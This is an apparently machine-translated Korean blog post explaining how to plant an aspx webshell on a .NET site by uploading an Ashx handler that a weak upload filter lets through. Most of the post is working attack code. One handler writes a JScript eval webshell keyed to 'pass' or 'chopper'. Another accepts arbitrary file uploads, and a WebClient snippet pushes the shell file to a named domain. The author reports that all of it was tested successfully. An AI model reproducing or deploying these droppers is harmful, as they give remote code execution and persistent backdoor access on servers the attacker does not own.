Ashx 스크립트에 대한 aspx 목마 쓰기 방법 요약
어느 역,.Net 환경, 업로드처는 Ashx와 Asmx를 제한하지 않습니다. 후자 업로드는 실행할 수 없습니다. Asmx 스크립트는 로컬에서만 실행할 수 있음을 알립니다. 그래서 Ashx 스크립트를 먼저 전송한 다음에 현재 디렉터리에서 Aspx 파일을 생성하려고 합니다. (목표는 Asp 파일을 실행할 수 없습니다).
온라인에서 다음과 같은 Ashx 코드를 찾을 수 있습니다.
- <%@ WebHandler Language="C#" Class="Handler" %>
-
- using System;
- using System.Web;
- using System.IO;
- public class Handler : IHttpHandler {
-
- public void ProcessRequest (HttpContext context) {
- context.Response.ContentType = "text/plain";
-
- StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx"));
- file1.Write("<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"pass\"],\"unsafe\");%>");
- file1.Flush();
- file1.Close();
-
- }
-
- public bool IsReusable {
- get {
- return false;
- }
- }
-
- }
스크립트의 Asp 한 마디를 부엌칼의 Aspx 한 마디로 바꿨어요. 그런데 실행할 때 알 수 없는 지령이 @Page라고 잘못 나왔어요.다음과 같은 두 가지 방법으로 해결할 수 있습니다.
1, 스트링으로 문자열 연결
- <%@ WebHandler Language="C#" Class="Handler" %>
-
- using System;
- using System.Web;
- using System.IO;
- public class Handler : IHttpHandler {
-
- public void ProcessRequest (HttpContext context) {
- context.Response.ContentType = "text/plain";
- string show="<% @Page Language=\"Jscript\"%"+"><%eval(Request.Item"+"[\"chopper\"]"+",\"unsafe\");%>";
- StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx"));
- file1.Write(show);
- file1.Flush();
- file1.Close();
-
- }
-
- public bool IsReusable {
- get {
- return false;
- }
- }
-
- }
2. 비교적 멍청한 방법은 코드를 보자
- <%@ WebHandler Language="C#" Class="Uploader" %>
- using System;
- using System.IO;
- using System.Web;
-
- public class Uploader : IHttpHandler
- {
- public void ProcessRequest(HttpContext hc)
- {
- foreach (string fileKey in hc.Request.Files)
- {
- HttpPostedFile file = hc.Request.Files[fileKey];
- file.SaveAs(Path.Combine(hc.Server.MapPath("."), file.FileName));
- }
- }
-
- public bool IsReusable
- {
- get { return true; }
- }
- }
그런 다음 VS를 사용하여 WinForm 프로그램을 만듭니다.
- System.Net.WebClient myWebClient = new System.Net.WebClient();
- myWebClient.UploadFile("http://www.xcnzz.com/Uploader.ashx", "POST", "C:\\ma.aspx");
실행하시면 됩니다~ 이상 방법 모두 테스트 성공~
P.S:Thx from T00ls.
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
양식 제출 후 제출 버튼 비활성화텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.